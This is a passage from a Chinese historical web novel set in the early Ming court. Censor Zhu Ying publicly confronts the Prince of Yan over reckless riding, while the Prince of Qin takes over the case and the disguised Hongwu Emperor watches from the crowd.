朱棣的脸色已经难看到了极点..... 这要是在北平府,眼前的这三个家伙早就被朱棣给剁碎了,可偏偏这是京城。 朱棣见朱煐油盐不进,当即看向了应天府府尹杨顺。 “杨府尹,你可觉着本王有罪?” “这....” 杨顺的脸色难看,被朱棣盯着心里发毛,小心翼翼地开口:“王爷归家心切,也是惦记陛下,这虽然有错,却也不至于什么大罪,这.....” “杨府尹,你这是想徇私枉法?” “光天化日之下,你今日所言,明日都将成朝堂上的呈堂证供,今日若是杨府尹不能秉公执法,明日就休怪下官不给面子了。” 朱煐的声音响起,显然并不打算就这么轻松地松口让朱棣过关,心中想着务必要让朱棣留下一个深刻的印象! 杨顺脸色一变,欲言又止,心里早已经苦不堪言。 这特么的叫什么事儿啊? 神仙打架,我杨某人遭殃? 我就想安安静静在朝堂上待着,这怎么还摊上这麻烦事儿了..... 一边是朱棣这燕王,一边是不要命的御史,这两头都得罪不起啊..... 杨顺无奈,只好赔笑冲朱煐道:“朱御史言重了,本官也说了,燕王殿下他是有错的....” “不是错,是触犯了我大明律例!违法之举,何以以轻描淡写的一句有错略过?” “我想杨大人贵为朝中三品大员,吃朝廷俸禄,该不会包庇燕王吧?” “呃...我...这....” “朱御史说笑,说笑了。本官不会,本官自然不会包庇。”杨顺额头不断冒汗,不断用袖子擦着,他只觉得浑身发热,脸上也很烫.... “朱御史,你这可是在威逼杨府尹?这应天府府衙到底是你说了算还是杨府尹说了算?本王有罪无罪非是你一言而定,得看杨府尹!杨府尹,你觉得本王可有何罪?该是砍头啊,还是打板子啊?” “呃....” “不敢,下官不敢。王爷言重了,下官哪敢.....”杨顺转身又是赔笑,额头上的细汗更多了...... “杨府尹何必畏惧燕王?有道是有理走遍天下,今天就算是闹到陛下那儿,燕王也无理可言,身为我大明官员,自当不畏权贵,富贵不能淫,威武不能屈,贫贱不能移,杨大人想来是吃了太多饱饭,这圣贤书中教诲全忘了!” “我....”杨顺脸色青一阵绿一阵的,满脸的苦色一遍擦汗一边说道:“朱御史言重了,圣贤教诲本官自然未曾忘记,未曾忘记.....” “朱御史何意?难不成你要强逼杨府尹判本王罪不成?这话说得倒好,富贵不能淫,贫贱不能移,威武不能屈,杨府尹,你可不能屈从此人威胁!” 朱棣眯着眼睛继续向杨顺施压。 杨顺:“......” “这有罪无罪可不是杨府尹说了算,王爷是否有罪自然有明律说了算,当街纵马扰民,已是铁证如山,王爷这罪是定了的!”朱煐掷地有声地说道,声音响彻周遭,传入周围的百姓耳中..... 一个个百姓吃瓜吃得兴起,一双双眼睛滴溜溜地盯着场中,眼神中满是兴奋..... 这车上王爷的瓜可不是每天都能吃到的,今天这热闹看得过瘾,太过瘾了! 而朱煐的话也让周遭百姓产生了强烈的共鸣,凭什么权贵就有特权?凭什么普通人就要被人欺压? 朱煐此时就好像是千千万万个普通人汇聚到一起的影子,周遭百姓的心中都不约而同地对朱煐这位传说中的朱御史产生了无与伦比的敬意.....他说出了万千百姓,千千万万的普通人不敢说的话..... ....... 朱棣刚入京城就被朱煐闹到了应天府府衙。 他入京时声势不小,不少人都得到了消息,而朱雀大街的事情也多多少少传了出去..... 此时的秦王府。 朱樉这几日一直在修身养性,就连练武的时间也少了,开始和吕书匠学起了文化,字他是认识的,不至于目不识丁,虽然小时候朱樉不爱读书,但毕竟也是老朱的儿子,在老朱的棍棒教育下朱樉的功课勉勉强强过关.... 朱樉欠缺的只是思考,他不喜欢思考,现在他依旧不喜欢思考,可为了不辜负老爹的希望,为了能够不蒸馒头争口气,朱樉强迫自己去努力思考,去向吕书匠请教如何思考一件事..... 这几日以来他的变化很大,从小到大他从未得到过老朱的认可,而这一次,朱樉觉得是唯一一次被自己的老爹委以重任,而且是如此重任! 大明贤王! 这四个字是什么分量? 这等于说就是将大明江山的未来交到了自己的手中啊! 大哥去世,自己这个当二哥的,自然要为父亲分忧,继承大哥的意志! 在府中思考的同时,朱樉也没有忘记打探各方消息,尤其是朱棣方面,朱樉丝毫没有忘记来自老爹的叮嘱! 而在他的重点关注下,朱棣刚入京没有多久消息就通过探子传入了秦王府,传到了朱樉这儿.... 朱樉第一时间就找到了吕书匠。 “吕先生,老四入京了!他纵马京城,气焰嚣张啊!” “果然我没看错,老四他就是想造反!大哥若是在世,他敢如此?” 朱樉看到朱棣带人纵马入京的时候气愤得不行,同时越发觉得老爹英明神武,料事如神,同时也更坚定了自己当大明贤王的内心。 所有人,除了老爹之外,都没有看出来老四这道貌岸然,浓眉大眼之辈的造反之心,而唯独我与老头子料其先机,如今果然按耐不住露出了狐狸尾巴! 朱樉将消息递给了吕书匠,可吕书匠看了消息之后却陷入了思索,思考片刻之后抬头看向朱樉摇了摇头:“王爷,这燕王此举,我看是一箭双雕啊!” “一箭双雕?” 朱樉一愣:“我就看出了老四他气焰嚣张想造反,这双雕怎么说?另一只雕在哪儿?还请吕先生明示!” 吕凯也没有卖关子:“殿下说的不错,这一来老朽觉得可能是燕王想以此试探京中各方态度,当真野心勃勃。这二来,老朽认为,燕王这是故意做给陛下和朝廷看的!为的就是给陛下和朝廷一个台阶,可以不至于因他晚入京而追究未曾及时奉诏之过,转而变成纵马之错....以小错补大过,此举实在是高啊....” “嘶!” 朱樉倒吸了一口冷气:“居然还有这么一层?这老四还真是阴险!” 两人正说话间,又一封消息传了进来.... 朱樉拆开信件一看.....豁然起身! “怎么了王爷?” 朱樉将信件递给了吕书匠,一边激动道:“老四他和朱御史干起来了,这必然是父皇看不过去他出手了!” “走走走,本王要去应天府府衙,父皇都出手了,我乃大明贤王,当配合父皇出手才是,此番得给老四点教训,让他这般嚣张!” “大哥去世了,他还有我这个二哥呢!狂什么?” 第47章 咱只是个普通大爷 朱老二撸起袖子准备给朱老四展示展示什么叫做二哥风范。 而与此同时的另一边,皇宫中的老朱也同样拿着蒋瓛送来的消息,一脸的玩味.... 朱樉能收到朱棣这边的消息,身为皇帝的老朱那就自然更加对京城一丝一毫的变化了如指掌了..... “老四他真是越来越不像话了,不奉咱诏入京也就罢了,现在居然还当街纵马?这是在干什么?” “也好,让朱煐这小子去治治他,也让他晓得晓得什么叫做天子犯法与民同罪!” “咱不会因为他是咱儿子就徇私的!” 老朱义正言辞的对蒋瓛笑呵呵地说道,要是不知道内情的,还以为朱老四和他爹有仇呢.... “陛下大公无私,律法严明,实乃大明之福啊。” 蒋瓛一边不着痕迹地拍着马屁,另一边心中不由翻了个白眼..... 他可太知道这会儿老朱的心里在想什么了..... 要是其他人,或许不知内情不知缘由,可蒋瓛却是除了老朱之外唯一一个知道朱煐真正身份的人,老朱哪里是铁面无私,这是护短呢! 老朱摆了摆手叫停了蒋瓛的马屁,看着手中的密信,连连点头,满面春风。 “看看咱大孙,这只是个御史就敢和老四争锋相对,而且是为民请命,有理有据,允熥缺的果敢和勇气都被咱大孙拿走了啊!” 老朱越看消息越是高兴。 一个不畏强权,坚持律法的继承人,年迈的老朱怎能不喜? 蒋瓛听着老朱的话,也不由得脑海里浮现出了朱允熥....想到朱允熥,再想想朱煐,蒋瓛不得不承认,这亲兄弟俩是两个极端!一个极端地懦弱,一个极端地勇敢..... “蒋瓛啊,你说此事咱该如何处置?” “想来这事情最终还是要落到咱的手上处理的。” 老朱的声音响起打断了蒋瓛的思绪,蒋瓛赶忙应声道:“陛下圣裁岂容微臣置喙?” “陛下想必心中早已经有数了吧?” 蒋瓛拍马屁归拍马屁,可在老朱身边作为老朱心腹的敏锐警惕却并未丧失。 要是寻常的事情皇帝询问倒是能发表一二见解,可这眼下的是什么事儿? 一边是陛下的亲儿子,大明实打实的王爷,燕王! 一边是陛下无比看重的大孙子,未来大明的皇储! 两人都是陛下心里最重要的人,而更重要的是,这其中涉及了皇权争斗,这样的事情,又怎能随意发表意见? 或许眼下没有什么,可事后要是自己说的话被陛下反复回味,一旦生了疑窦,那自己的这条小命也就没了..... 伴君如伴虎,蒋瓛当锦衣卫都指挥使的这些年深刻理解到了这句话! 老朱拿着手里的奏折起身踱步,走了两圈之后停下脚来。 “有了!” 老朱眼前一亮。 “陛下有主意了?” 老朱点了点头:“走,跟咱一起换个便服,咱出宫去凑个热闹!既然这事情早晚都要到咱的手里,与其等他们把事情摆上来不如咱直接过去,左右这应天府府衙也不远,倒也方便。” “陛下所言甚是。” 蒋瓛一边应着,心中却是有些震惊..... 要知道老朱一直以来都是个工作狂,几乎每天都是没日没夜地工作,也就是最近这些年岁数大了身体扛不住了才稍稍降低了一些工作的强度,可工作强度依旧大,并且老朱乐在其中...... 能让一个工作狂放下手头的工作出门去凑热闹...... 啧啧啧.....皇孙殿下在陛下的心中还真是重要啊..... 想来也是,分别十年,失而复得,又是在丧子之痛时寻回,又是个性情刚正眼光卓然的人....这一个个因素叠加在一起,朱煐悄然在老朱的心中占据了一大片的重要位置..... ...... 应天府府衙门口,聚拢了大量的百姓。 朱煐丝毫不慌,脸色平静,根本不在乎是不是丢脸,他认定了目标,也就不怕丢了脸面,在他看来最重要的就是今天给朱老四这个未来的永乐大帝一个教训,深刻的教训,让他记住自己! 既然是为此,那自然是周围的百姓人越多越好,这样才能让朱棣牢记此情此景么。 而相较于朱煐的无所谓,朱棣的脸色就难看了..... 堂堂燕王被人硬刚不说,还被这么多百姓围观,这大庭广众下彻底丢了脸面,这事儿朱棣自认从出生以来到如今也就今天这头一遭..... 不仅仅是朱棣,身为应天府府尹的杨顺此刻的脸色也已经难看到了极点..... 杨顺看看朱棣又看看朱煐,看看朱棣身后的十余个心腹,又看看朱煐身边的两尊大佛,只感觉一个头两个大,想哭却又哭不出来,看着周遭看热闹围观的百姓,杨顺笑的比哭还难看..... 他明白,今天无论结果如何,自己的前途大概率是没了..... 早知如此,还不如早些请辞急流勇退啊..... 杨顺后悔了,如果能让时间回到半个时辰前,他已经毫不犹豫地入宫请辞,主动请求下派到地方历练。也不至于像眼下这般进退两难,夹在中间两头受气啊..... 燕王惹不起,朱煐这铁头娃也惹不起,更何况还有方孝孺和张平..... 朱煐和朱棣在对峙,杨顺这个应天府府尹夹在中间两头受气,一时间场面陷入了僵局..... 而此时,无论是朱煐还是朱棣亦或是杨顺都没有注意到,在围观的百姓中,挤入了两个不起眼的人..... 这两人头上戴着斗笠,一个中年人,一个老者,要是朱煐细看一定能认出来,这不老朱和蒋瓛吗? 没错,这两人正是微服出宫的老朱还有跟着老朱一同出宫的蒋瓛,两人为了避免被认出来,连斗笠都给戴上了,只是到了现场之后才发现,这个斗笠好像有些多余..... 现场围观的百姓人数太多太多了,两人夹在中间,一点也不起眼.... “老爷,看来我们来的还不晚啊,正赶上了。” 蒋瓛擦了擦汗渍,这一路上可是赶的有些急,老朱年纪大了自然跑不快,是他背着来的。 “你们也是来看戏的吧?” 就在这时,一个大爷凑到了老朱和蒋瓛的身边:“今天可是有得热闹看了,这燕王和朱御史他们在这对峙都对峙了半个时辰了,朱御史当真是好官啊,王爷那么大的人物,说要治罪就要治罪,这燕王拿他是一点办法没有啊。” 大爷的头发稀疏,年岁俨然已经不小,不过说话中气十足,身体不错,看着场内的朱煐几人点评道。 “可惜咯....” 大爷摇了摇头,叹了口气。 老朱看了蒋瓛一眼,蒋瓛当即会意,开口询问大爷:“老兄,这可惜什么?” 大爷瞅了一眼蒋瓛,摇了摇头道:“你不懂也正常,我同你说,这官场的水可深着呢,别看朱御史这会儿威风好像能和王爷分庭抗礼似的,那是在这大庭广众之下人家不好下手,这要到私底下,朱御史可惨了!” “而且这燕王可是陛下的亲儿子!” “亲儿子就怎么了?”老朱冷哼一声。 大爷看了一眼老朱,压低声音:“这事情要闹大了,陛下肯定是站在亲儿子一边啊,朱御史这不是自找麻烦吗?一个是亲儿子,一个是外人,傻子都知道陛下会站在哪边。你们说是不?” 老朱刚想反驳,却不曾想一旁有人提前开了口,打断了他。 “此言差矣!” 说话的是个书生,他冲着皇宫方向拱了拱手:“尔等岂止陛下胸襟?” “朱御史乃本届科举最受圣宠之人,他做了什么?殿试便提出国本之争,惹怒群臣,而陛下是如何处理的?陛下不光赦免了朱御史,还委以重用,由此可见陛下的胸襟!” “如今太子去世,天下动荡,朝廷兖兖诸公争权夺利,陛下正是看到了这一点所以才对朱御史委以重用,我看陛下此次也不会徇私,燕王是陛下亲子,那陛下就更会管教!” “我等读书人当以朱御史为榜样,下一届科考待我入了朝堂,亦要同朱御史一般报效朝廷,无畏无惧!” “好!说得好!” 书生一席话,引得周围人拍手称好,老朱也是点头赞许:“不错,咱也觉得是,这陛下如何会是非不分呢?自然是帮理不帮亲才是!” “唉。” 书生一番话说的周围的百姓热血沸腾,可先前开口的大爷却依旧摇头:“年轻人啊,你还是太年轻了。你要是年岁大些也就知道陛下是何等狠辣的角色了。那剥皮填草都是日常,人都有私心,且看着吧,朱御史这次怕是难咯....” 摇 此言一出,蒋瓛整个人瞬间就紧张了起来,小心翼翼地打量老朱。 见老朱脸色未变才松了口气。 “那就且看着吧,我觉得陛下不会徇私!” 书生坚持己见。 老朱周遭的这场景只是眼下围绕着应天府看热闹的人群中的一个缩影,大家都小声议论着..... ..... 场内,已然陷入了僵局。 朱棣脸色铁青,在这么多百姓的注视中骑虎难下,而朱煐心中则是暗喜,今天的经历,想来一定也是能让朱老四这未来的永乐大帝记忆深刻了。 这将是留待未来的一记后手..... “王爷,朱御史,不如我们入内商谈吧?此地人越聚越多,若是传出什么风言风语,于朝廷不利,到时陛下怪罪,对你我都不好.....” 杨顺试图劝说。 “本王没意见。” 朱棣早有此意,杨顺的提议正中他的下怀..... “王爷这会儿怕丢脸面了?早干什么去了?” “本官身正不怕影子斜,百姓的眼睛是雪亮的,究竟公道为何,自有悠悠众口评判!” 朱棣:“......” 朱棣心里简直日了狗。 这辈子头一次见到这么难缠的家伙! “可朱御史,若是一直在此,本官总不能在这府衙门口升堂断案吧?” “此地是应天府,不是你家!本官是应天府府尹,此地如何,本官说了算!” 杨顺也有些恼了。 他是忌惮朱煐,可那也是担心在朝堂上被参一本断了前途,可眼见事情越来越大,杨顺心知自己的前途已然渺茫,他更是已经决定等今日之事后就离开朝堂,离开这个漩涡的中心。 有了决定也就没有了后顾之忧,想着眼前的朱煐处处与自己为难,更是逼得自己没了前途,杨顺心中越想越恼。 自己好歹也是朝廷三品大员,你个刚入朝的新人仗着陛下的宠幸便如此嚣张,简直欺人太甚! 就在杨顺即将爆发的时候.... “本王觉得朱御史说的不错,公道是非自在人心,对错自有评判,让百姓看看也没有什么!” 突如其来的声音让全场皆是一静..... 杨顺愣住了.... 朱煐愣住了.... 朱棣听到这个声音也愣住了..... 就是人群中的老朱,此刻也愣住了..... 蒋瓛和老朱顺着声音的源头看去,就看到朱樉正在手下的簇拥下走向应天府府衙,而四周的百姓也纷纷主动地让开了一条道路..... “老二?” “这小子怎么来了?” 老朱哑然。 朱樉会在这个时间点出现在这里是老朱没有想到的。 “二哥?” 朱棣看向朱樉,不由皱眉。 他摸不准朱樉的打算..... 杨顺人已经傻眼了,刚提起来的勇气被朱樉这么一打断瞬间烟消云散,心里暗暗叫苦..... 这他娘的叫什么事儿啊..... 碰上朱煐这么个铁头娃和燕王也就算了,现在这怎么连秦王也掺和进来了? 这在官员中,朱樉的名头可比朱棣的名头响亮多了,朱樉从小到大就没少祸害朝廷的官员,让不少官员谈之色变,而作为老臣的杨顺,更是对朱樉的各种事迹如雷贯耳..... 这位爷下手可黑啊,听说当年有个户部官员得罪了这位爷,当天晚上回家路上被人给套上了麻袋一顿揍,最后把人吊在了树上,天亮了人路过才发现这位嘴被塞了布条的官员...... “秦...秦王殿下?你怎么来了?” 杨顺赶忙上前迎接,脸色笑的比哭还难看..... “本王怎么来了?本王不来,我大明的天怕是都黑了!” “杨府尹好大的威风啊!” ....... 人群中,黑着脸的老朱听到朱樉的话才松了口气。 刚刚见杨顺急眼,老朱都准备站出来了,没想到这风云突变,朱樉赶到....而且看这样子,还是站在了老四的对立面? 第48章 老朱:咱孙像咱,这脾气够硬! 从父亲的这个角度来看,自家的儿子们相互争斗肯定是一个当父亲的不愿意看到的,儿子之间和睦相处,家庭和睦才是一个当老爹的愿意所看到的局面,可老朱不同..... 老朱不仅仅是一个父亲的角色,更是大明的皇帝,他要考虑的事情也不仅仅是一个父亲考虑的事情,他还要考虑大明江山,要考虑后世..... 而同样,他的儿子也因为他的身份而变得不简单,朱棣是王爷,朱樉是王爷,三儿子朱棡也是王爷,而且一个个都有本事和能耐,这样的几个王爷倘若是和睦联手,老朱自然是不怕,可眼下他已经是老了,他不得不为后来做考虑...... 事实上老朱的考量不是从现在开始的,他早就有这方面的意识。 从始至终老朱就有意地让大儿子朱标同兄弟几个亲近,在家庭关系里老朱也有意无意地扮演着一个严父的反派角色,他负责唱白脸,而自然,唱红脸的活也就落到了朱标的身上..... 朱樉、朱棢和朱棣几乎可以说是朱标一手带大的,老朱忙于政务一般不管事,但凡管事就是要出手打人了,因此无论是课业还是日常的琐碎事情基本上都是朱标这个大儿子操持,对于朱樉、朱棡和朱棣而言,也是真正做到了长兄如父..... 这种局面的产生不仅仅是老朱的脾气导致的,也有一部分原因是老朱刻意为之..... 他希望朱标能和兄弟几个亲近,如此一来等自己老去病逝之后大儿子朱标登基,念及兄弟之情至少不会对兄弟几个下狠手,而同时无论是朱樉、朱棡和朱棣,也信服大哥朱标,再加上老朱刻意地分化三人,有意让能力最出众的朱棣和二儿子朱樉以及三儿子朱棡玩不到一起。 不过倒也不能说完全是老朱一手推动,老朱在这之中也不过是做了个推手的作用,因势利导。原本朱棣和朱棡和朱樉就不是一路,而老朱的刻意引导让朱棡和朱樉恰好站在了朱棣的对立面,由此就形成了对峙的格局。 这样格局的形成有多个好处,好处一就是双方对峙,那对朝廷也就没有了威胁。好处二,因为藩王不睦,对于朝廷的威胁小,日后登基上位的朱标也不会过于忌惮藩王,再念及兄弟之情,对兄弟出狠手的可能性就小了,至少能确保三王在世时,不至于出现兄弟阋墙的事情...... 看似好像老朱心狠,实则老朱只是为了竭力避免最坏的结果出现,这世上很多事情很多时候并没有什么十全十美的解决办法,而如何取舍,能否做到取舍,往往就成了一个人能力的体现,而在这方面,老朱显然是果决有魄力的..... 又或者说,历史的后来者的角度往前回溯地看,站在上帝视角看老朱,老朱不光是有点魄力,他的魄力太足,下手太干脆,洪武四大案的发动就是他果决的表现,尤其是蓝玉案。 在朱标尚未离世时,蓝玉的定位是朱标的死忠,是为了儿子朱标铺下的后手,蓝玉更是成了凉国公,军中威名也是赫赫。蓝玉是常遇春的妻弟,是朱标老婆常氏的亲舅舅,这也就意味着蓝玉无论是从个人利益角度出发还是从情感、亲缘角度出发,都是朱标的死忠。 而朱标去世之后,老朱在确定了朱允熥不堪重用,准备立朱允炆为后世之君后,第一件事情就是突然出手,血洗蓝玉满门,更是将整个与蓝玉有关的,也可以说是老朱眼皮子底下刻意放纵培养出来的一系列军中将领勋贵全部血洗。 原因也很简单,单纯就是未来的皇帝是朱允炆,朱允炆和蓝玉并无关系,且蓝玉不会支持朱允炆,为了江山,老朱果断做出了取舍,直接放弃了数十年培养的心血。 能从开局一口碗走成九五至尊的老朱心思城府又岂是普通寻常? 他的每一个看似荒诞的举动背后往往隐藏着不为人知的缘由。 而他也有着常人所没有的果断与决绝。 为了天下,他能牺牲所有,而唯一的羁绊就是亲情,而为了儿子们不至于出现大部分皇室中出现的兄弟阋墙他又布局了一辈子,但可惜,人算不如天算,谁能想到年轻的朱标会突然病逝? 朱标的去世让老朱只能重新布局..... 万幸,朱煐的出现让老朱需要如同历史上那般断尾求生,发动蓝玉案,彻底血洗自己所培养了一系列军中人才。 蓝玉一方面不需要过于担心,老朱相信自己大孙子的能力,而眼下藩王的问题,才是老朱目前所深虑的问题...... 毕竟朱煐并非朱标,和自己的几个叔叔也并没有过多的感情牵扯,老朱想着如何能让自己的大孙子和几个儿子之间多培养培养感情。但同时,老朱又深知,培养的同时还得让自己的这几个儿子对皇位不能产生威胁..... 老朱很清楚,自己的这几个兔崽子服大哥朱标,可不一定服自己的大孙子,一旦自己去世,那或许就会生乱,而一旦藩王生乱,无论是那一边胜了,都不是老朱想看到的,因为这意味着另一方一定会被斩尽杀绝。 造反这玩意儿,一旦开始,就没有了任何后退可言! “走。” 老朱拉了拉蒋瓛。 “陛下?” 蒋瓛疑惑地看向老朱。 “退后点,可别让这几个臭小子知道咱在这儿了。” 老朱小声说道。 蒋瓛当即会意,和老朱隐入人群中.... ......... 而与此同时.... 应天府府衙门口,朱樉的出现让朱棣一愣,旋即皱起了眉头,他身边的心腹也是心头一紧。 朱樉的名字整个北平府但凡是朱棣的心腹可谓是无人不知无人不晓啊。这丫的自从到了封地之后就进行了一系列操作,在明面上就做出一副预防燕王造反的架势,这让原本就没有想造反的朱棣里外不是人。 你说你没有想造反,可你的亲二哥,怎么就一直防着你造反呢?还是光明正大地防范。 这其中,必有缘故啊,你还说你没想造反? 朱棣和他的心腹为此讨论过很多次,可却也完全想不到解释的办法,这咋解释?实话实说,说二哥朱樉脑子有问题?他故意针对? 这解释了也没人信啊,因为不光是朱樉防范,晋王朱棡和朱樉就穿一条裤子..... 这就让朱棣很困扰了,他的手下心腹也无比困扰,分明就没想过这一茬,结果这么一来,反倒是谣言传出去了,民间都传,燕王有鸿鹄之志,非寻常之人,更有甚者传出老朱曾说过:四子类我,说老朱觉得朱棣才能太过出众,很像自己,但可惜不是长子,只能发配边疆,以防后患。 听到这流言,朱棣人麻了,老子分明是想打仗,想报效大明,主动去收拾这些北元余孽的好嘛?怎么就成发配了? 总而言之,朱樉和朱棣之间的纠纷由来已久,朱标在位时朱樉就一副为大哥防一手老四的架势让朱棣深感无语。 而眼下朱樉出现在这里,不用想这丫的就会是个什么态度,这让朱棣和他的心腹心里都是一阵突突.....朱棣的脸色也不由难看了起来...... “见过秦王殿下。” 杨顺见朱樉来了赶忙见礼,他的体感和朱棣却是全然不同,杨顺见朱樉来了大大松了口气。 来了个王爷,地位上与燕王平齐了,而且看这架势好像是有心主事? 此时不脱手这麻烦更待何时? 杨顺不等朱樉开口便赶忙道:“殿下来得正好,燕王和朱御史有了纠纷,来我应天府府衙报案,可此案下官也不知如何裁定,不知秦王殿下可否主理此事?下官从旁学习学习。” 杨顺小心翼翼地看了眼朱樉..... 看到朱樉出现在这里他是又高兴又害怕,朱樉在应天府老臣的心里留下了赫赫威名,少年时三天两头就殴打一个朝臣,引得陛下雷霆震怒,也就是当年自己官阶一般再加上为人低调,未入这位秦王殿下的法眼,没有被打,但却亲眼见过有同僚挨揍的。 去了封地这些年,虽然不知道这位殿下近来脾气如何,可想来这江山易改本性难移,想改变却也不太容易..... 杨顺心里还是有些发颤,可相较于眼前的棘手麻烦事儿来说,这点担忧好似又不足为虑了。 “哈哈哈哈,既然杨府尹盛情相邀,本王就秉公受理此案吧,本王身为大明秦王,自会站在大明公理角度出发,秉公断案,不知大家可有意见?” “下官没有意见,恭请王爷断案。”杨顺巴不得如此,高兴应道。 朱煐也点了点头:“既然杨府尹不敢断,那秦王断也是一样的,反正若是断案不公的话,本官再寻陛下死谏便是。” 杨顺:“.....” 朱棣也是眼睛一瞪,当场被朱煐这突如其来的一句给打了个措手不及的沉默..... 不是,此人当真和传闻中的一样勇猛? 这就死谏上了? 人群中,蒋瓛默默看向老朱......他担心此言引起老朱的不快..... “好!” “这脾气像咱!够硬!这才是我朱家的男人!” 老朱拍手称好,爱屋及乌,老朱眼里的朱煐,整个人都在发光.....对于这失而复得的大孙子,老朱简直太满意了,尤其是这脾气,太对味了! 蒋瓛:“......” 听老朱这话他松了口气,看来自己的担心是多余的了,这殿下还真是深受恩宠啊..... 就在大家没有一人开口的时候,就在这时.....忽的,人群中响起了一道声音..... “不公平!秦王和燕王是兄弟,这对朱御史不公平!” 突然的声音让所有人都不由为之侧目,人群中的老朱和蒋瓛也是一愣,两人面色有些古怪,因为这声音....两人听着居然还蛮熟悉.... 两人顺着声音看去,皆是一愣..... 这不刚刚和大爷争辩的那书生吗? 却见书生却也不怕得罪朱棣和朱樉,当场站了出来,躬身先是行了一礼,旋即说道:“众所周知燕王乃陛下四子,秦王乃陛下二子,两位王爷乃是同父同母的亲兄弟,所谓打虎亲兄弟上阵父子兵,若是因此亲亲相护,朱御史岂非吃了大亏?大伙儿说我说的对不对啊?” 要是没有书生开口,百姓大概率会保持沉默,毕竟这场中的,无论是燕王还是秦王,都不是普通老百姓能够得罪得起的,可眼下有人带头......书生的这一句话顿时就如同溅入热油锅里的水一般,瞬间群情激愤! “小郎君说的有理!这亲属如何断案?” “是啊是啊,亲兄弟必定相帮!” “不公平!这不公平!” “.......” 百姓沸腾,想替朱煐说话,而这会儿府衙门口的朱樉却是半点不恼,笑容满面...... 相较于朱樉的满面笑容截然不同的就是朱棣的脸色了,听着耳边书生和百姓的指责,朱棣脸色铁青,下意识都想骂娘。 他娘的! 亲亲相护? 这护你妈! 朱樉这狗东西会护着我? 朱棣本想着今日之事无法善了,朱樉主动开口要主理此案,他当着如此多百姓的面不好拒绝,难堵悠悠众口,他都做好了吃点亏的打算了,结果.....他娘的还要被怀疑? 这天底下哪有这样的事儿? 一时间朱棣人麻了.....心里委屈坏了..... 堂堂燕王,这会儿朱棣却是有苦难言,有苦说不出,只能心里毋自郁闷....... 这特么的都叫什么事儿啊.....造孽啊! 可这自己又没有办法解释,毕竟自己不能同二货老二一样把兄弟不和放到明面上来吧? 那多不讲究? 人群里的老朱也忍不住乐了.....他自然是知道自己的这两个儿子的关系的,不过这百姓不知道,这事情倒是越来越有趣了..... 而就在百姓沸腾之际,朱樉却半点不恼地抬手压了压,百姓稍稍安静些后开口。 “本王保证,一定秉公处理此案,要么这样,既然大家有顾虑,那本王就开放府衙,让大家一同入内听审如何?要是本王处事不公,大家大可开口!” 一时间全场全都安静了下来....不是因为朱樉的提议得到了大家的认可,周遭百姓听到这话之后第一反应就是危险,入了府衙,那还能开口说话?真要开口说了,那岂不是就被盯上了? 寻常百姓,随声附和还行,真要说去主动得罪两个王爷,谁也没有这个胆子,就算有胆子也不愿意。 不过在这关键时刻,那书生却又再度站了出来! 第49章 朱老四人麻了! “王爷既想秉公审理,不如就在这衙门口审如何?” “此案想来并不复杂,王爷该不担心被我们大伙儿看着吧?” 书生朗声道。 朱樉看了书生一眼,心中暗惊此人的胆大。 “你叫什么名字?” 这时候的朱棣阴沉个脸开口。 今天也不知道是倒了什么霉,路上碰到三个不长眼的,结果还是朝中御史,接着又来了老二,纯来恶心自己,这会儿一个名不见经传的书生,也在自己面前这般叫嚣,大放厥词,这世道是变了?老子这燕王的身份不好使了? “燕王可是想报复?” “不过草民倒也无惧,燕王可听好了,草民杨钰,字正勇。” 说着杨钰转过身冲着周围的百姓拱了拱手:“今日还请诸位为的杨钰做个见证,我杨钰与人为善,并无宿敌,倘若哪一天杨某暴尸街头,那便是燕王下手无疑。” 说着杨钰又一脸慷慨无惧的模样冲着愣在原地的朱棣沉声道:“王爷,你能取我杨钰的性命但却取不了我心中公道,我大明读书人,没有软骨头!” 此言一出,瞬间全场沸腾!叫好声一片。 “好!说的不错!这才是我大明读书人!” “好个杨钰,我记住了,若是你死,我便将今日之事广而告之!” “不错,燕王若是暗中下黑手,定让燕王遗臭万年!” “杨兄且安心,燕王他一人,难堵我等悠悠众口!” “......” 上到书生秀才,下到贩夫走卒在听了杨钰的话,又听了他这坚定的语气之后,几乎都被杨钰的态度给感染了,一个为了心中公道平白就开罪朝中王爷,这样的人可以说他傻,可却不得不佩服,正是因为这世上又这样的一个又一个的傻子,才让这朗朗乾坤之下,尚有公道可言! 人群中的老朱听着杨钰这慷慨激昂的一番话也是连连点头,转过身小声冲蒋瓛道:“此人不错,若是日后能入朝,倒是可堪一用。” 老朱对着这杨钰品头论足的时候,场内的朱棣听闻了杨钰的话之后,脸色就更黑了.... 他娘的,你死不死的和本王有什么关系? 本王会那么下贱暗杀你个名不见经传的家伙? 朱棣郁闷坏了。 杨钰这话一出,无论如何这锅自己是背上了..... 朱棣大感晦气,这入京之后好像就是诸事不顺,遇到的人一个比一个难缠,还都不按常理出招,现在还诋毁起自己来了..... “杨兄义气深重,彰显我大明读书人之风骨!” “这才是我大明读书人啊!” “日后科考,必有杨兄一席之地!” “.....” 周遭的读书人一个个也开始发声。 这些读书人有一部分确实是胆小怕事,但更多的还是一根筋,满腔热血,他们大都觉得自己是人中龙凤,日后定然能够高中举人,报效朝廷,一展抱负。 事实上在开国的洪武朝,这样想法的读书人不在少数,他们就是苦读书的一根筋,基本都没有受到社会的毒打和折磨,也唯有在入了官场之后遇到了各种各样的事情之后才会变得圆滑。 而对于眼下没有进入官场的他们而言,朱煐的名字,已然是深深刻在了脑海里,洪武朝,就没有出过这么牛逼的书生,哦不,甚至整个历史上都没有出过! 出身寒门,殿试就将生死置之度外,面对满朝文武直接就敢和文武百官对峙,这是何等的气魄,何等的胸襟? 科举刚结束不久,正是话题热度最高的时候,而朱煐的种种表现更是让他在民间,尤其是考生中的威望暴增,他干的这些事情在这些读书人的眼中就像是天方夜谭,可不得不说,这些事情当真是大快人心啊!将大家不敢说,不敢做,不敢想的事情全都给干了! 朱煐的风头直接盖压过了本届状元,甚至远远超过,眼下要说京城读书人心中,谁的人气最高,那毋庸置疑就是朱煐! 事实上杨钰还有一件事情没有说,这件事情甚至改变了他的一生。 杨钰,京城人士,少年时崇拜游侠,家有薄资于是成天与三教九流的人物厮混,之后某一天,忽的听茶馆的说书先生说书,年少的杨钰一听之下便听的入迷.... 他从天下大势分久必合合久必分,一直到桃园三结义,虎牢关三英战吕布,一个个故事让他如痴如醉,他甚至将说书先生说的内容给手写了下来,日日反复研读。 当他看着刘关张三人如此本事却被追杀得如丧家之犬那般百思不解,在他看来,侠客,勇士便如此,为国为民,快意恩仇。直到他看到了书中徐庶与诸葛孔明的登场! 